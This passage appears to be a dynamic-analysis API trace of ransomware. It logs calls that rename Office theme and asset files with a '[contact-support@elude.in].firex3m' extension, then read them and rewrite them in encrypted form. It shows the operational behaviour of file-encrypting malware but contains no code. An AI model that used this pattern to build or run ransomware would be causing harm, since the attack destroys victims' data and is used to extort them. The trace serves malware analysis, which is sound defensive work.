(normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRDTV2~1.FIR")) returned 0x6d54c0 [0243.631] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0243.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0243.631] GetProcessHeap () returned 0x630000 [0243.631] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c61) returned 0x7333710 [0243.631] GetProcessHeap () returned 0x630000 [0243.631] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c61) returned 0x73b99d8 [0243.631] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.631] ReadFile (in: hFile=0x678, lpBuffer=0x7333710, nNumberOfBytesToRead=0x6c40, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333710*, lpNumberOfBytesRead=0x45bff0c*=0x6c40, lpOverlapped=0x0) returned 1 [0247.250] GetProcessHeap () returned 0x630000 [0247.250] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0247.250] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.250] WriteFile (in: hFile=0x678, lpBuffer=0x73b99d8*, nNumberOfBytesToWrite=0x6c40, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b99d8*, lpNumberOfBytesWritten=0x45bff0c*=0x6c40, lpOverlapped=0x0) returned 1 [0247.250] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.250] WriteFile (in: hFile=0x678, lpBuffer=0x73c0617*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c0617*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0247.250] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.251] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0247.251] CloseHandle (hObject=0x678) returned 1 [0247.251] GetProcessHeap () returned 0x630000 [0247.251] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b99d8 | out: hHeap=0x630000) returned 1 [0249.234] GetProcessHeap () returned 0x630000 [0249.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7333710 | out: hHeap=0x630000) returned 1 [0249.234] GetProcessHeap () returned 0x630000 [0249.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0249.235] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59528e60, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6c66, dwReserved0=0xb747496, dwReserved1=0x7333708, cFileName="trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRDTV2~1.FIR")) returned 0x6d54c0 [0249.235] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0249.235] Sleep (dwMilliseconds=0x1) [0249.247] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-48.png", len=0x81 | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-48.png") returned 1 [0249.247] GetProcessHeap () returned 0x630000 [0249.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e4c) returned 0x6fe3bb0 [0249.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.247] Sleep (dwMilliseconds=0x1) [0249.268] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.INF", len=0x70 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.INF") returned 1 [0249.268] GetProcessHeap () returned 0x630000 [0249.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e08) returned 0x6fe3bb0 [0249.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0249.269] CloseHandle (hObject=0x714) returned 1 [0249.269] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.274] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="WATERMAR.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERM~1.FIR")) returned 0x6d5040 [0249.274] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0249.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0249.276] GetProcessHeap () returned 0x630000 [0249.276] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6db280 [0249.276] GetProcessHeap () returned 0x630000 [0249.276] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6db568 [0249.276] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.276] ReadFile (in: hFile=0x4f0, lpBuffer=0x6db280, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6db280*, lpNumberOfBytesRead=0x45bff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0249.281] GetProcessHeap () returned 0x630000 [0249.281] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0249.281] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.281] WriteFile (in: hFile=0x4f0, lpBuffer=0x6db568*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6db568*, lpNumberOfBytesWritten=0x45bff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0249.281] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.281] WriteFile (in: hFile=0x4f0, lpBuffer=0x6db807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6db807*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.281] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.282] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.282] CloseHandle (hObject=0x4f0) returned 1 [0249.282] GetProcessHeap () returned 0x630000 [0249.282] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6db568 | out: hHeap=0x630000) returned 1 [0249.282] GetProcessHeap () returned 0x630000 [0249.282] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6db280 | out: hHeap=0x630000) returned 1 [0249.282] GetProcessHeap () returned 0x630000 [0249.282] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0249.282] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a889eee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x7ff, dwReserved1=0x6db280, cFileName="WATERMAR.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERM~1.FIR")) returned 0x6d4f40 [0249.283] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0249.283] Sleep (dwMilliseconds=0x1) [0249.373] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.INF", len=0x66 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.INF") returned 1 [0249.373] GetProcessHeap () returned 0x630000 [0249.373] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de0) returned 0x6fe3bb0 [0249.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0249.403] CloseHandle (hObject=0x5ec) returned 1 [0249.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="SKY.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYINF~1.FIR")) returned 0x6d51c0 [0249.408] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0249.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0249.413] GetProcessHeap () returned 0x630000 [0249.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbd20 [0249.413] GetProcessHeap () returned 0x630000 [0249.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbef8 [0249.413] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.413] ReadFile (in: hFile=0x5ec, lpBuffer=0x6dbd20, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbd20*, lpNumberOfBytesRead=0x45bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0249.415] GetProcessHeap () returned 0x630000 [0249.415] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0249.415] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.415] WriteFile (in: hFile=0x5ec, lpBuffer=0x6dbef8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbef8*, lpNumberOfBytesWritten=0x45bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0249.416] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.416] WriteFile (in: hFile=0x5ec, lpBuffer=0x6dc097*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc097*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.416] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.416] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.416] CloseHandle (hObject=0x5ec) returned 1 [0249.416] GetProcessHeap () returned 0x630000 [0249.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbef8 | out: hHeap=0x630000) returned 1 [0249.416] GetProcessHeap () returned 0x630000 [0249.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbd20 | out: hHeap=0x630000) returned 1 [0249.416] GetProcessHeap () returned 0x630000 [0249.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0249.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a9bc5f5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x45bfd20, dwReserved1=0x6dbd20, cFileName="SKY.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYINF~1.FIR")) returned 0x6d51c0 [0249.416] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0249.417] Sleep (dwMilliseconds=0x1) [0249.512] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF", len=0x6a | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF") returned 1 [0249.512] GetProcessHeap () returned 0x630000 [0249.512] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd8) returned 0x6fe3bb0 [0249.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0249.513] CloseHandle (hObject=0x5ec) returned 1 [0249.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4ec0 [0249.515] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0249.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0249.515] GetProcessHeap () returned 0x630000 [0249.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c1) returned 0x745c8a0 [0249.517] GetProcessHeap () returned 0x630000 [0249.517] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c1) returned 0x699eb0 [0249.517] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.517] ReadFile (in: hFile=0x5ec, lpBuffer=0x745c8a0, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x745c8a0*, lpNumberOfBytesRead=0x45bff0c*=0x3a0, lpOverlapped=0x0) returned 1 [0249.522] GetProcessHeap () returned 0x630000 [0249.522] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0249.522] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.522] WriteFile (in: hFile=0x5ec, lpBuffer=0x699eb0*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x699eb0*, lpNumberOfBytesWritten=0x45bff0c*=0x3a0, lpOverlapped=0x0) returned 1 [0249.522] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, 